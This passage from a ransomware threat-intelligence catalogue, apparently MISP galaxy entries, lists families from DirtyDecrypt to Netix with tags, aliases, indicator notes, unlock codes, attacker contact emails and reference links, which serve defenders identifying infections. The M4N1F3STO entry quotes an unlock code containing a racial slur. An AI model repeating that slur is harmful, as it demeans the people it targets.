The tag is: *misp-galaxy:ransomware="DirtyDecrypt"*

Table 13261. Table References

Links
https://twitter.com/demonslay335/status/752586334527709184
https://id-ransomware.blogspot.com/2016/07/revoyem-dirtydecrypt-ransomware-doc.html

DMALocker

Ransomware no extension change Encrypted files have prefix: Version 1: ABCXYZ11 - Version 2: !DMALOCK - Version 3: !DMALOCK3.0 - Version 4: !DMALOCK4.0

The tag is: *misp-galaxy:ransomware="DMALocker"*

Table 13262. Table References

Links
https://decrypter.emsisoft.com/
https://github.com/hasherezade/dma_unlocker
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/

DMALocker 3.0

Ransomware

The tag is: *misp-galaxy:ransomware="DMALocker 3.0"*

Table 13263. Table References

Links
https://drive.google.com/drive/folders/0Bzb5kQFOXkiSMm94QzdyM3hCdDg
https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-strikes-back/

DNRansomware

Ransomware Code to decrypt: 83KYG9NW-3K39V-2T3HJ-93F3Q-GT

The tag is: *misp-galaxy:ransomware="DNRansomware"*

Table 13264. Table References

Links
https://twitter.com/BleepinComputer/status/822500056511213568

Domino

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="Domino"*

Table 13265. Table References

Links
http://www.nyxbone.com/malware/Domino.html
http://www.bleepingcomputer.com/news/security/the-curious-case-of-the-domino-ransomware-a-windows-crack-and-a-cow/
https://id-ransomware.blogspot.com/2016/08/domino-ransomware.html

DoNotChange

Ransomware

The tag is: *misp-galaxy:ransomware="DoNotChange"*

Table 13266. Table References

Links
https://www.bleepingcomputer.com/forums/t/643330/donotchange-ransomware-id-7es642406cry-do-not-change-the-file-namecryp/
https://id-ransomware.blogspot.com/2017/03/donotchange-ransomware.html

DummyLocker

Ransomware

The tag is: *misp-galaxy:ransomware="DummyLocker"*

Table 13267. Table References

Links
https://twitter.com/struppigel/status/794108322932785158

DXXD

Ransomware

The tag is: *misp-galaxy:ransomware="DXXD"*

Table 13268. Table References

Links
https://www.bleepingcomputer.com/forums/t/627831/dxxd-ransomware-dxxd-help-support-readmetxt/
https://www.bleepingcomputer.com/news/security/the-dxxd-ransomware-displays-legal-notice-before-users-login/
https://id-ransomware.blogspot.com/2016/09/dxxd-ransomware.html

HiddenTear

Ransomware Open sourced C#

The tag is: *misp-galaxy:ransomware="HiddenTear"*

HiddenTear is also known as:

- Cryptear

- EDA2
- Hidden Tear

View relationships graph

HiddenTear has relationships with:

- similar: misp-galaxy:malpedia="EDA2" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="HiddenTear" with estimative-language:likelihood-probability="likely"

Table 13269. Table References

Links
http://www.utkusen.com/blog/dealing-with-script-kiddies-cryptear-b-incident.html
https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html

EduCrypt

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="EduCrypt"*

EduCrypt is also known as:

- EduCrypter

Table 13270. Table References

Links
http://www.filedropper.com/decrypter_1
https://twitter.com/JakubKroustek/status/747031171347910656
https://id-ransomware.blogspot.com/2016/06/hiddentear-2.html

EiTest

Ransomware

The tag is: *misp-galaxy:ransomware="EiTest"*

Table 13271. Table References

Links
https://twitter.com/BroadAnalysis/status/845688819533930497
https://twitter.com/malwrhunterteam/status/845652520202616832

El-Polocker

Ransomware Has a GUI

The tag is: *misp-galaxy:ransomware="El-Polocker"*

El-Polocker is also known as:

- Los Pollos Hermanos

Table 13272. Table References

Links
https://id-ransomware.blogspot.com/2016/07/el-polocker-ransomware-aes-450-aud.html

Encoder.xxxx

Ransomware Coded in GO

The tag is: *misp-galaxy:ransomware="Encoder.xxxx"*

Encoder.xxxx is also known as:

- Trojan.Encoder.6491

View relationships graph

Encoder.xxxx has relationships with:

- similar: misp-galaxy:ransomware="Windows_Security Ransonware" with estimative-language:likelihood-probability="likely"

Table 13273. Table References

Links
http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/
http://vms.drweb.ru/virus/?_is=1&i=8747343

encryptoJJS

Ransomware

The tag is: *misp-galaxy:ransomware="encryptoJJS"*

Table 13274. Table References

Links
https://id-ransomware.blogspot.com/2016/11/encryptojjs-ransomware.html

Enigma

Ransomware

The tag is: *misp-galaxy:ransomware="Enigma"*

Table 13275. Table References

Links
http://www.bleepingcomputer.com/news/security/the-enigma-ransomware-targets-russian-speaking-users/
https://id-ransomware.blogspot.com/2016/05/enigma-ransomware-aes-128-0.html

Enjey

Ransomware Based on RemindMe

The tag is: *misp-galaxy:ransomware="Enjey"*

Table 13276. Table References

Links
https://twitter.com/malwrhunterteam/status/839022018230112256

Fairware

Ransomware Target Linux O.S.

The tag is: *misp-galaxy:ransomware="Fairware"*

Table 13277. Table References

Links
http://www.bleepingcomputer.com/news/security/new-fairware-ransomware-targeting-linux-computers/

Fakben

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="Fakben"*

Table 13278. Table References

Links
https://blog.fortinet.com/post/fakben-team-ransomware-uses-open-source-hidden-tear-code
https://id-ransomware.blogspot.com/2016/07/fakben-team-ransomware-aes-256-1505.html

FakeCryptoLocker

Ransomware

The tag is: *misp-galaxy:ransomware="FakeCryptoLocker"*

Table 13279. Table References

Links
https://twitter.com/PolarToffee/status/812312402779836416

Fantom

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Fantom"*

Fantom is also known as:

- Comrad Circle

Table 13280. Table References

Links
http://www.bleepingcomputer.com/news/security/fantom-ransomware-encrypts-your-files-while-pretending-to-be-windows-update/

FenixLocker

Ransomware

The tag is: *misp-galaxy:ransomware="FenixLocker"*

Table 13281. Table References

Links
https://decrypter.emsisoft.com/fenixlocker
https://twitter.com/fwosar/status/777197255057084416
https://id-ransomware.blogspot.com/2016/09/fenixlocker-ransomware.html

FILE FROZR

Ransomware RaaS

The tag is: *misp-galaxy:ransomware="FILE FROZR"*

FILE FROZR is also known as:

- FileFrozr

Table 13282. Table References

Links
https://twitter.com/rommeljoven17/status/846973265650335744
https://id-ransomware.blogspot.com/2017/03/filefrozr-ransomware.html

FileLocker

Ransomware

The tag is: *misp-galaxy:ransomware="FileLocker"*

Table 13283. Table References

Links
https://twitter.com/jiriatvirlab/status/836616468775251968

FireCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="FireCrypt"*

View relationships graph

FireCrypt has relationships with:

- similar: misp-galaxy:malpedia="FireCrypt" with estimative-language:likelihood-probability="likely"

Table 13284. Table References

Links
https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/
https://id-ransomware.blogspot.com/2017/01/bleedgreen-ransomware.html

Flyper

Ransomware Based on EDA2 / HiddenTear

The tag is: *misp-galaxy:ransomware="Flyper"*

Table 13285. Table References

Links

https://twitter.com/malwrhunterteam/status/773771485643149312
https://id-ransomware.blogspot.com/2016/09/flyper-ransomware.html

Fonco

Ransomware contact email safefiles32@mail.ru also as prefix in encrypted file contents

The tag is: *misp-galaxy:ransomware="Fonco"*

FortuneCookie

Ransomware

The tag is: *misp-galaxy:ransomware="FortuneCookie"*

Table 13286. Table References

Links
https://twitter.com/struppigel/status/842302481774321664

Free-Freedom

Ransomware Unlock code is: adam or adamdude9

The tag is: *misp-galaxy:ransomware="Free-Freedom"*

Free-Freedom is also known as:

- Roga

View relationships graph

Free-Freedom has relationships with:

- similar: misp-galaxy:ransomware="Roga" with estimative-language:likelihood-probability="likely"

Table 13287. Table References

Links
https://twitter.com/BleepinComputer/status/812135608374226944
https://id-ransomware.blogspot.com/2016/12/roga-ransomware.html

FSociety

Ransomware Based on EDA2 and RemindMe

The tag is: *misp-galaxy:ransomware="FSociety"*

Table 13288. Table References

Links
https://www.bleepingcomputer.com/forums/t/628199/fs0ciety-locker-ransomware-help-support-fs0cietyhtml/
http://www.bleepingcomputer.com/news/security/new-fsociety-ransomware-pays-homage-to-mr-robot/
https://twitter.com/siri_urz/status/795969998707720193
https://id-ransomware.blogspot.com/2016/08/fsociety-ransomware.html
https://www.ransomlook.io/group/fsociety
https://www.cyberint.com/blog/research/fsociety-funksec-collaborate-on-future-attacks/
https://socradar.io/dark-web-profile-fsociety-flocker-ransomware/

Fury

Ransomware

The tag is: *misp-galaxy:ransomware="Fury"*

Table 13289. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

GhostCrypt

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="GhostCrypt"*

Table 13290. Table References

Links
https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip
http://www.bleepingcomputer.com/forums/t/614197/ghostcrypt-z81928819-help-support-topic-read-this-filetxt/
https://id-ransomware.blogspot.com/2016/05/ghostcrypt-ransomware-aes-256-2-bitcoins.html

Gingerbread

Ransomware

The tag is: *misp-galaxy:ransomware="Gingerbread"*

Table 13291. Table References

Links
https://twitter.com/ni_fi_70/status/796353782699425792

Globe v1

Ransomware

The tag is: *misp-galaxy:ransomware="Globe v1"*

Globe v1 is also known as:

- Purge

Table 13292. Table References

Links
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221
http://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/
https://id-ransomware.blogspot.com/2017/07/purge-kind-ransomware.html

GNL Locker

Ransomware Only encrypts DE or NL country. Variants, from old to latest: Zyklon Locker, WildFire locker, Hades Locker

The tag is: *misp-galaxy:ransomware="GNL Locker"*

View relationships graph

GNL Locker has relationships with:

- similar: misp-galaxy:ransomware="Zyklon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Zyklon" with estimative-language:likelihood-probability="likely"

Table 13293. Table References

Links
http://www.bleepingcomputer.com/forums/t/611342/gnl-locker-support-and-help-topic-locked-and-unlock-files-instructionshtml/
http://id-ransomware.blogspot.ru/2016/05/gnl-locker-ransomware-gnl-locker-ip.html

Gomasom

Ransomware

The tag is: *misp-galaxy:ransomware="Gomasom"*

Table 13294. Table References

Links
https://decrypter.emsisoft.com/
http://id-ransomware.blogspot.com/2016/05/gomasom-ransonware.html

Goopic

Ransomware

The tag is: *misp-galaxy:ransomware="Goopic"*

Table 13295. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/

Gopher

Ransomware OS X ransomware (PoC)

The tag is: *misp-galaxy:ransomware="Gopher"*

Hacked

Ransomware Jigsaw Ransomware variant

The tag is: *misp-galaxy:ransomware="Hacked"*

Table 13296. Table References

Links
https://twitter.com/demonslay335/status/806878803507101696
http://id-ransomware.blogspot.com/2016/12/hackedlocker-ransomware.html

HappyDayzz

Ransomware

The tag is: *misp-galaxy:ransomware="HappyDayzz"*

Table 13297. Table References

Links
https://twitter.com/malwrhunterteam/status/847114064224497666
http://id-ransomware.blogspot.com/2017/03/happydayzz-blackjocker-ransomware.html

Harasom

Ransomware

The tag is: *misp-galaxy:ransomware="Harasom"*

Table 13298. Table References

Links
https://decrypter.emsisoft.com/

HDDCryptor

Ransomware Uses https://diskcryptor.net for full disk encryption

The tag is: *misp-galaxy:ransomware="HDDCryptor"*

HDDCryptor is also known as:

- Mamba

View relationships graph

HDDCryptor has relationships with:

- similar: misp-galaxy:malpedia="Mamba" with estimative-language:likelihood-probability="likely"

Table 13299. Table References

Links
https://www.linkedin.com/pulse/mamba-new-full-disk-encryption-ransomware-family-member-marinho
blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/[blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/]
http://id-ransomware.blogspot.com/2016/09/hddcryptor-ransomware-mbr.html

Heimdall

Ransomware File marker: "Heimdall---"

The tag is: *misp-galaxy:ransomware="Heimdall"*

Table 13300. Table References

Links
https://www.bleepingcomputer.com/news/security/heimdall-open-source-php-ransomware-targets-web-servers/
https://id-ransomware.blogspot.com/2016/11/heimdall-ransomware.html

Help_dcfile

Ransomware

The tag is: *misp-galaxy:ransomware="Help_dcfile"*

Table 13301. Table References

Links
http://id-ransomware.blogspot.com/2016/09/helpdcfile-ransomware.html

Herbst

Ransomware

The tag is: *misp-galaxy:ransomware="Herbst"*

View relationships graph

Herbst has relationships with:

- similar: misp-galaxy:malpedia="Herbst" with estimative-language:likelihood-probability="likely"

Table 13302. Table References

Links
https://blog.fortinet.com/2016/06/03/cooking-up-autumn-herbst-ransomware
https://id-ransomware.blogspot.com/2016/06/herbst-autumn-ransomware-aes-256-01.html

Hi Buddy!

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Hi Buddy!"*

Table 13303. Table References

Links

http://www.nyxbone.com/malware/hibuddy.html
http://id-ransomware.blogspot.ru/2016/05/hi-buddy-ransomware-aes-256-0.html

Hitler

Ransomware Deletes files

The tag is: *misp-galaxy:ransomware="Hitler"*

Table 13304. Table References

Links
http://www.bleepingcomputer.com/news/security/development-version-of-the-hitler-ransomware-discovered/
https://twitter.com/jiriatvirlab/status/825310545800740864
http://id-ransomware.blogspot.com/2016/08/hitler-ransomware.html

HolyCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="HolyCrypt"*

View relationships graph

HolyCrypt has relationships with:

- similar: misp-galaxy:ransomware="Dablio Ransomware" with estimative-language:likelihood-probability="likely"

Table 13305. Table References

Links
http://www.bleepingcomputer.com/news/security/new-python-ransomware-called-holycrypt-discovered/
https://id-ransomware.blogspot.com/2016/07/holycrypt-ransomware.html

HTCryptor

Ransomware Includes a feature to disable the victim's windows firewall Modified in-dev HiddenTear

The tag is: *misp-galaxy:ransomware="HTCryptor"*

Table 13306. Table References

Links

https://twitter.com/BleepinComputer/status/803288396814839808

HydraCrypt

Ransomware CrypBoss Family

The tag is: *misp-galaxy:ransomware="HydraCrypt"*

Table 13307. Table References

Links
https://decrypter.emsisoft.com/
http://www.malware-traffic-analysis.net/2016/02/03/index2.html
https://id-ransomware.blogspot.com/2016/06/hydracrypt-ransomware-aes-256-cbc-rsa.html

iLock

Ransomware

The tag is: *misp-galaxy:ransomware="iLock"*

Table 13308. Table References

Links
https://twitter.com/BleepinComputer/status/817085367144873985

iLockLight

Ransomware

The tag is: *misp-galaxy:ransomware="iLockLight"*

International Police Association

Ransomware CryptoTorLocker2015 variant

The tag is: *misp-galaxy:ransomware="International Police Association"*

Table 13309. Table References

Links
http://download.bleepingcomputer.com/Nathan/StopPirates_Decrypter.exe

iRansom

Ransomware

The tag is: *misp-galaxy:ransomware="iRansom"*

Table 13310. Table References

Links
https://twitter.com/demonslay335/status/796134264744083460
http://id-ransomware.blogspot.com/2016/11/iransom-ransomware.html

JagerDecryptor

Ransomware Prepends filenames

The tag is: *misp-galaxy:ransomware="JagerDecryptor"*

Table 13311. Table References

Links
https://twitter.com/JakubKroustek/status/757873976047697920

Jeiphoos

Ransomware Windows, Linux. Campaign stopped. Actor claimed he deleted the master key.

The tag is: *misp-galaxy:ransomware="Jeiphoos"*

Jeiphoos is also known as:

- Encryptor RaaS
- Sarento

Table 13312. Table References

Links
http://www.nyxbone.com/malware/RaaS.html
http://blog.trendmicro.com/trendlabs-security-intelligence/the-rise-and-fall-of-encryptor-raas/

Jhon Woddy

Ransomware Same codebase as DNRansomware Lock screen password is M3VZ>5BwGGVH

The tag is: *misp-galaxy:ransomware="Jhon Woddy"*

Table 13313. Table References

Links
https://download.bleepingcomputer.com/demonslay335/DoNotOpenDecrypter.zip
https://twitter.com/BleepinComputer/status/822509105487245317

Jigsaw

Ransomware Has a GUI

The tag is: *misp-galaxy:ransomware="Jigsaw"*

Jigsaw is also known as:

- CryptoHitMan
- Jigsaw Original

View relationships graph

Jigsaw has relationships with:

- similar: misp-galaxy:malpedia="Jigsaw" with estimative-language:likelihood-probability="likely"

Table 13314. Table References

Links
http://www.bleepingcomputer.com/news/security/jigsaw-ransomware-decrypted-will-delete-your-files-until-you-pay-the-ransom/
https://www.helpnetsecurity.com/2016/04/20/jigsaw-crypto-ransomware/
https://twitter.com/demonslay335/status/795819556166139905
https://id-ransomware.blogspot.com/2016/04/jigsaw-ransomware.html
https://www.ransomlook.io/group/jigsaw
https://www.bleepingcomputer.com/news/security/the-jigsaw-ransomware-decrypted/
https://www.symantec.com/connect/blogs/jigsaw-ransomware-saw-movie-deletes-files-hour
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/jigsaw-ransomware-makes-victims-play-a-game

Job Crypter

Ransomware Based on HiddenTear, but uses TripleDES, decrypter is PoC

The tag is: *misp-galaxy:ransomware="Job Crypter"*

Job Crypter is also known as:

- JobCrypter

Table 13315. Table References

Links
http://www.nyxbone.com/malware/jobcrypter.html

http://forum.malekal.com/jobcrypter-geniesanstravaille-extension-locked-crypto-ransomware-t54381.html
https://twitter.com/malwrhunterteam/status/828914052973858816
http://id-ransomware.blogspot.com/2016/05/jobcrypter-ransomware.html

JohnyCryptor

Ransomware

The tag is: *misp-galaxy:ransomware="JohnyCryptor"*

Table 13316. Table References

Links
http://id-ransomware.blogspot.com/2016/04/johnycryptor-ransomware.html

KawaiiLocker

Ransomware

The tag is: *misp-galaxy:ransomware="KawaiiLocker"*

Table 13317. Table References

Links
https://safezone.cc/resources/kawaii-decryptor.195/
http://id-ransomware.blogspot.com/2016/09/kawaiilocker-ransomware.html

KeRanger

Ransomware OS X Ransomware

The tag is: *misp-galaxy:ransomware="KeRanger"*

View relationships graph

KeRanger has relationships with:

- similar: misp-galaxy:malpedia="KeRanger" with estimative-language:likelihood-probability="likely"

Table 13318. Table References

Links
http://news.drweb.com/show/?i=9877&lng=en&c=5
http://www.welivesecurity.com/2016/03/07/new-mac-ransomware-appears-keranger-spread-via-transmission-app/

https://id-ransomware.blogspot.com/2016/03/keranger-ransomware.html

KeyBTC

Ransomware

The tag is: *misp-galaxy:ransomware="KeyBTC"*

Table 13319. Table References

Links
https://decrypter.emsisoft.com/

KEYHolder

Ransomware via remote attacker. tuyuljahat@hotmail.com contact address

The tag is: *misp-galaxy:ransomware="KEYHolder"*

Table 13320. Table References

Links
http://www.bleepingcomputer.com/forums/t/559463/keyholder-ransomware-support-and-help-topic-how-decryptgifhow-decrypthtml
https://id-ransomware.blogspot.com/2016/06/keyholder-ransomware-xor-cfb-cipher.html

KillerLocker

Ransomware Possibly Portuguese dev

The tag is: *misp-galaxy:ransomware="KillerLocker"*

Table 13321. Table References

Links
https://twitter.com/malwrhunterteam/status/782232299840634881
http://id-ransomware.blogspot.com/2016/10/killerlocker-ransomware.html

KimcilWare

Ransomware websites only

The tag is: *misp-galaxy:ransomware="KimcilWare"*

Table 13322. Table References

Links

https://blog.fortinet.com/post/kimcilware-ransomware-how-to-decrypt-encrypted-files-and-who-is-behind-it
http://www.bleepingcomputer.com/news/security/the-kimcilware-ransomware-targets-web-sites-running-the-magento-platform/
http://id-ransomware.blogspot.com/2016/04/kimcilware-ransomware.html

Korean

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Korean"*

Table 13323. Table References

Links
http://www.nyxbone.com/malware/koreanRansom.html
http://id-ransomware.blogspot.com/2016/08/korean-ransomware.html

Kozy.Jozy

Ransomware Potential Kit selectedkozy.jozy@yahoo.com kozy.jozy@yahoo.com unlock92@india.com

The tag is: *misp-galaxy:ransomware="Kozy.Jozy"*

Kozy.Jozy is also known as:

- QC

Table 13324. Table References

Links
http://www.nyxbone.com/malware/KozyJozy.html
http://www.bleepingcomputer.com/forums/t/617802/kozyjozy-ransomware-help-support-wjpg-31392e30362e32303136-num-lsbj1/
https://id-ransomware.blogspot.com/2016/06/kozy.html

KratosCrypt

Ransomware kratosdimetrici@gmail.com

The tag is: *misp-galaxy:ransomware="KratosCrypt"*

Table 13325. Table References

Links

https://twitter.com/demonslay335/status/746090483722686465
https://id-ransomware.blogspot.com/2016/06/kratoscrypt-ransomware-aes-256-0.html

KryptoLocker

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="KryptoLocker"*

Table 13326. Table References

Links
https://id-ransomware.blogspot.com/2016/07/kryptolocker-ransomware-aes-256.html

LanRan

Ransomware Variant of open-source MyLittleRansomware

The tag is: *misp-galaxy:ransomware="LanRan"*

Table 13327. Table References

Links
https://twitter.com/struppigel/status/847689644854595584
http://id-ransomware.blogspot.com/2017/03/lanran-ransomware.html

LeChiffre

Ransomware Encrypts first 0x2000 and last 0x2000 bytes. Via remote attacker

The tag is: *misp-galaxy:ransomware="LeChiffre"*

Table 13328. Table References

Links
https://decrypter.emsisoft.com/lechiffre
https://blog.malwarebytes.org/threat-analysis/2016/01/lechiffre-a-manually-run-ransomware/
http://id-ransomware.blogspot.com/2016/05/lechiffre-ransomware.html

Lick

Ransomware Variant of Kirk

The tag is: *misp-galaxy:ransomware="Lick"*

Table 13329. Table References

Links
https://twitter.com/JakubKroustek/status/842404866614038529
https://www.2-spyware.com/remove-lick-ransomware-virus.html

Linux.Encoder

Ransomware Linux Ransomware

The tag is: *misp-galaxy:ransomware="Linux.Encoder"*

Linux.Encoder is also known as:

- Linux.Encoder.{0,3}

Table 13330. Table References

Links
https://labs.bitdefender.com/2015/11/linux-ransomware-debut-fails-on-predictable-encryption-key/

LK Encryption

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="LK Encryption"*

Table 13331. Table References

Links
https://twitter.com/malwrhunterteam/status/845183290873044994
http://id-ransomware.blogspot.com/2017/03/lk-encryption-ransomware.html

LLTP Locker

Ransomware Targeting Spanish speaking victims

The tag is: *misp-galaxy:ransomware="LLTP Locker"*

Table 13332. Table References

Links
https://www.bleepingcomputer.com/news/security/new-lltp-ransomware-appears-to-be-a-rewritten-venus-locker/
http://id-ransomware.blogspot.com/2017/03/lltp-ransomware.html

Locker

Ransomware has GUI

The tag is: *misp-galaxy:ransomware="Locker"*

Locker is also known as:

- LockeR

Table 13333. Table References

Links
http://www.bleepingcomputer.com/forums/t/577246/locker-ransomware-support-and-help-topic/page-32#entry3721545
https://id-ransomware.blogspot.com/2016/04/locker-ransomware-2015.html

LockLock

Ransomware

The tag is: *misp-galaxy:ransomware="LockLock"*

Table 13334. Table References

Links
https://www.bleepingcomputer.com/forums/t/626750/locklock-ransomware-locklock-help-support/
https://id-ransomware.blogspot.com/2016/09/locklock-ransomware.html

Locky

Ransomware Affiliations with Dridex and Necurs botnets

The tag is: *misp-galaxy:ransomware="Locky"*

Locky is also known as:

- Locky-Odin
- Locky-Osiris
- Locky-Osiris 2016
- Locky-Osiris 2017

View relationships graph

Locky has relationships with:

- similar: misp-galaxy:malpedia="Locky" with estimative-language:likelihood-probability="likely"

Table 13335. Table References

Links
http://www.bleepingcomputer.com/news/security/new-locky-version-adds-the-zepto-extension-to-encrypted-files/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-locky-ransomware-spotted-in-the-brazilian-underground-market-uses-windows-script-files/
https://nakedsecurity.sophos.com/2016/10/06/odin-ransomware-takes-over-from-zepto-and-locky/
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-egyptian-mythology-with-the-osiris-extension/
https://id-ransomware.blogspot.com/2016/02/locky.html
https://www.ransomlook.io/group/locky

Lortok

Ransomware

The tag is: *misp-galaxy:ransomware="Lortok"*

Table 13336. Table References

Links
https://id-ransomware.blogspot.com/2016/06/lortok-ransomware-aes-256-5.html

LowLevel04

Ransomware Prepends filenames

The tag is: *misp-galaxy:ransomware="LowLevel04"*

Table 13337. Table References

Links
http://id-ransomware.blogspot.com/2016/04/lowlevel04-ransomware.html

M4N1F3STO

Ransomware Does not encrypt Unlock code=suckmydicknigga

The tag is: *misp-galaxy:ransomware="M4N1F3STO"*

Table 13338. Table References

Links
https://twitter.com/jiriatvirlab/status/808015275367002113
http://id-ransomware.blogspot.com/2016/12/m4n1f3sto-ransomware.html

Mabouia

Ransomware OS X ransomware (PoC)

The tag is: *misp-galaxy:ransomware="Mabouia"*

Table 13339. Table References

Links
https://www.youtube.com/watch?v=9nJv_PN2m1Y

MacAndChess

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="MacAndChess"*

Table 13340. Table References

Links
http://id-ransomware.blogspot.com/2017/03/macandchess-ransomware.html

Magic

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Magic"*

Table 13341. Table References

Links
http://id-ransomware.blogspot.com/2016/04/magic-ransomware.html

MaktubLocker

Ransomware

The tag is: *misp-galaxy:ransomware="MaktubLocker"*

Table 13342. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/
http://id-ransomware.blogspot.com/2016/04/maktub-locker-ransomware.html

MarsJoke

Ransomware

The tag is: *misp-galaxy:ransomware="MarsJoke"*

Table 13343. Table References

Links
https://securelist.ru/blog/issledovaniya/29376/polyglot-the-fake-ctb-locker/
https://www.proofpoint.com/us/threat-insight/post/MarsJoke-Ransomware-Mimics-CTB-Locker
http://id-ransomware.blogspot.com/2016/09/jokefrommars-ransomware.html

Meister

Ransomware Targeting French victims

The tag is: *misp-galaxy:ransomware="Meister"*

Table 13344. Table References

Links
https://twitter.com/siri_urz/status/840913419024945152

Meteoritan

Ransomware

The tag is: *misp-galaxy:ransomware="Meteoritan"*

Table 13345. Table References

Links
https://twitter.com/malwrhunterteam/status/844614889620561924
http://id-ransomware.blogspot.com/2017/03/meteoritan-ransomware.html

MIRCOP

Ransomware Prepends files Demands 48.48 BTC

The tag is: *misp-galaxy:ransomware="MIRCOP"*

MIRCOP is also known as:

- Crypt888
- MicroCop

Table 13346. Table References

Links

http://www.bleepingcomputer.com/forums/t/618457/microcop-ransomware-help-support-lock-mircop/
https://www.avast.com/ransomware-decryption-tools#!
http://blog.trendmicro.com/trendlabs-security-intelligence/instruction-less-ransomware-mircop-channels-guy-fawkes/
http://www.nyxbone.com/malware/Mircop.html
https://id-ransomware.blogspot.com/2016/06/mircop-ransomware-4848.html

MireWare

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="MireWare"*

Table 13347. Table References

Links
http://id-ransomware.blogspot.com/2016/05/mireware-ransomware.html

Mischa

Ransomware Packaged with Petya PDFBewerbungsmappe.exe

The tag is: *misp-galaxy:ransomware="Mischa"*

Mischa is also known as:

- "Petya's little brother"
- Misha
- Petya+Mischa
- Petya-2

Table 13348. Table References

Links
http://www.bleepingcomputer.com/news/security/petya-is-back-and-with-a-friend-named-mischa-ransomware/
https://id-ransomware.blogspot.com/2016/05/petya-mischa-ransomware.html

MM Locker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="MM Locker"*

MM Locker is also known as:

- Booyah

View relationships graph

MM Locker has relationships with:

- similar: misp-galaxy:ransomware="Booyah" with estimative-language:likelihood-probability="likely"

Table 13349. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered
https://id-ransomware.blogspot.com/2016/06/mm-locker-ransomware-aes-2256-1.html

Mobef

Ransomware

The tag is: *misp-galaxy:ransomware="Mobef"*

Mobef is also known as:

- Yakes
- CryptoBit

View relationships graph

Mobef has relationships with:

- similar: misp-galaxy:ransomware="CryptoBit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Mobef-JustFun" with estimative-language:likelihood-probability="likely"

Table 13350. Table References

Links
http://nyxbone.com/malware/Mobef.html
http://researchcenter.paloaltonetworks.com/2016/07/unit42-cryptobit-another-ransomware-family-gets-an-update/
http://nyxbone.com/images/articulos/malware/mobef/0.png
http://id-ransomware.blogspot.com/2016/05/mobef-yakes-ransomware-4-bitcoins-2000.html

Monument

Ransomware Use the DarkLocker 5 porn screenlocker - Jigsaw variant

The tag is: *misp-galaxy:ransomware="Monument"*

Table 13351. Table References

Links
https://twitter.com/malwrhunterteam/status/844826339186135040

N-Splitter

Ransomware Russian Koolova Variant

The tag is: *misp-galaxy:ransomware="N-Splitter"*

Table 13352. Table References

Links
https://twitter.com/JakubKroustek/status/815961663644008448
https://www.youtube.com/watch?v=dAVMgX8Zti4&feature=youtu.be&list=UU_TMZYaLIgjsdJMwurHAi4Q

n1n1n1

Ransomware Filemaker: "333333333333"

The tag is: *misp-galaxy:ransomware="n1n1n1"*

n1n1n1 is also known as:

- N1N1N1

Table 13353. Table References

Links
https://twitter.com/demonslay335/status/790608484303712256
https://twitter.com/demonslay335/status/831891344897482754
http://id-ransomware.blogspot.com/2016/09/n1n1n1-ransomware.html

NanoLocker

Ransomware no extension change, has a GUI

The tag is: *misp-galaxy:ransomware="NanoLocker"*

View relationships graph

NanoLocker has relationships with:

- similar: misp-galaxy:malpedia="NanoLocker" with estimative-language:likelihood-probability="likely"

Table 13354. Table References

Links
http://github.com/Cyberclues/nanolocker-decryptor
https://id-ransomware.blogspot.com/2016/06/nanolocker-ransomware-aes-256-rsa-01.html

Nemucod

Ransomware 7zip (a0.exe) variant cannot be decrypted Encrypts the first 2048 Bytes

The tag is: *misp-galaxy:ransomware="Nemucod"*

Nemucod is also known as:

- Nemucod-7z
- Nemucod-AES

Table 13355. Table References

Links
https://decrypter.emsisoft.com/nemucod
https://github.com/Antelox/NemucodFR
http://www.bleepingcomputer.com/news/security/decryptor-released-for-the-nemucod-trojans-crypted-ransomware/
https://blog.cisecurity.org/malware-analysis-report-nemucod-ransomware/
http://id-ransomware.blogspot.com/2016/04/nemucod-ransomware.html

Netix

Ransomware

The tag is: *misp-galaxy:ransomware="Netix"*

Netix is also known as:

- RANSOM_NETIX.A

Table 13356. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/
